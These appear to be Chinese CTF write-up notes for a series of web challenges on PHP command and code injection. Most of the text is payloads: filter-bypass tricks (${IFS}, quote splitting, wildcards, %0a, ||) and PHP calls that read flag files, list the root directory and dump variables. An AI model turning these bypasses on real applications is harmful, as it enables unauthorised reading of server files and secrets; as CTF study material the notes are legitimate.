49题
nl<fla""g.php%0a
tac%09fla?????%0a
tac<fl''ag.php%0a
50题
这里过滤了百分之09 不能使用这个绕过了
还过来 x26 或者 %26 就是不能使用& 这个 但是还是可以是||
nl<fla''g.php||
tac<fla''g.php%0a
51题
过滤了 最喜欢的tac
使用nl
nl<fla''g.php||
nl 命令的效果
52题
细看 没有过滤 $ 可以使用IFS这种了 前面都过滤了的
nl${IFS}fla''g.php||
在想为什么 linux可以执行 {nl,a.txt}
但是在题目里面就执行不了呢
经过测试 输入的{nl,a.txt} 他是不被执行的
所以空白
53 题
这里没有了后面的那个||
一开始没注意看 加上了|| 这个 不会回显flag
这样他只会输出我们的输入的东西
去掉就会输出flag
nl${IFS}fla?????
nl${IFS}fla''g.php
54题
过滤很多东西 这里只要是连续性的 读取命令都不行
总结一下wp
payload1:
uniq${IFS}f???.php 没有过滤uniq 这个命令可以使用这个去读取文件 查看源代码得flag
payload2:
解释:https://ctf.show/writeups/1164374
/bin/ca?${IFS}f???.??? 使用bin下的命令去读取
payload3:
这里没有过滤grep
grep${IFS}%27fla%27${IFS}f???????%0a
payload4:
cp${IFS}???g.php${IFS}t.txt 直接复制flag.php 给t.txt 然后直接访问t.txt
55题 ***** 无字母rce
56题 无字母数字的命令执行 *****
57-58 都是无字母rce *****
59题
题目很简单 ,题目描述是过滤了很多函数导致不能去执行system这些函数
尝试使用代码高亮来解决
1: c=show_source('flag.php');
2: c=highlight_file('flag.php');
使用var_dump 和 copy来执行
1: c=var_dump(file("flag.php"));
2: c=copy('flag.php','flag.txt');
使用变量方法
c=$a=fopen('flag.php','r');while(!feof($a)){$line=fgetc($a);echo $line;}
c=$a=fopen('flag.php','r');while(!feof($a)){$line=fgetcsv($a);echo var_dump($line);}
60题
和上面差不多
但是不能使用var_dump了
61题
不能使用var_dump 和 使用变量去执行遍历输出了
62题
只能使用show_source函数了 高亮函数也禁用了
63 题
一样
64题
c=show_source('flag.php');
c=include("flag.php");var_dump(get_defined_vars());
c=include(“flag.php”);var_dump(get_defined_vars());
先使用includeJ进行包含flag文件
再使用 var_dump(get_defined_vars()) 来输出当前作用域中所有已定义的变量信息
这段代码使用 PHP 语言,首先通过 include 函数包含一个名为 "flag.php" 的文件,
然后使用 var_dump(get_defined_vars()) 输出当前作用域中所有已定义的变量信息。
具体来说,include("flag.php") 用于包含另一个 PHP 文件的内容。如果 "flag.php" 文件存在并且可被包含,
它的代码将被执行。同时,include 函数的返回值是被包含文件的返回值,
或者在出现错误时返回 false。
接着,var_dump(get_defined_vars()) 会输出当前作用域中所有已定义的变量的信息。
这包括在 "flag.php" 文件中定义的变量,以及当前代码中定义的变量。
get_defined_vars() 函数返回一个包含所有变量的关联数组,
其中键是变量名,值是变量的值。
65题
一样
66题
上面两个payload都不行了 。
看着这个函数其实是执行了的 ,但是我们的flag不在这里
现在执行 查看目录
c=print_r(scandir("/")); 发现flag.txt
也可以使用var_dump(scandir("/"));
然后执行 include 函数
c=include("/flag.txt");var_dump(get_defined_vars());
flag就出来了
读取flag 这里又可以使用highlight_file
但是要加上 ../../../ 或者 /flag.txt
c=highlight_file("../.././../../flag.txt");
payload3:
var_dump(scandir('/')); include "php://filter/convert.base64-encode/resource=/flag.txt";
67题
flag依旧再根目录
c=include("/flag.txt");var_dump(get_defined_vars()); 依旧使用这个
c=highlight_file("../.././../../flag.txt");
68题
环境有问题
看了wp 有新思路
c=var_dump(scandir("/")); c=readgzfile("/flag.txt");
这段代码使用 PHP 语言中的 readgzfile 函数来读取一个经过 gzip 压缩的文件 “/flag.txt” 的内容。
具体来说,readgzfile 函数用于读取一个经过 gzip 压缩的文件并将其内容直接输出到浏览器,而不需要显式地使用文件句柄和循环。在这个例子中,读取的文件是 “/flag.txt”。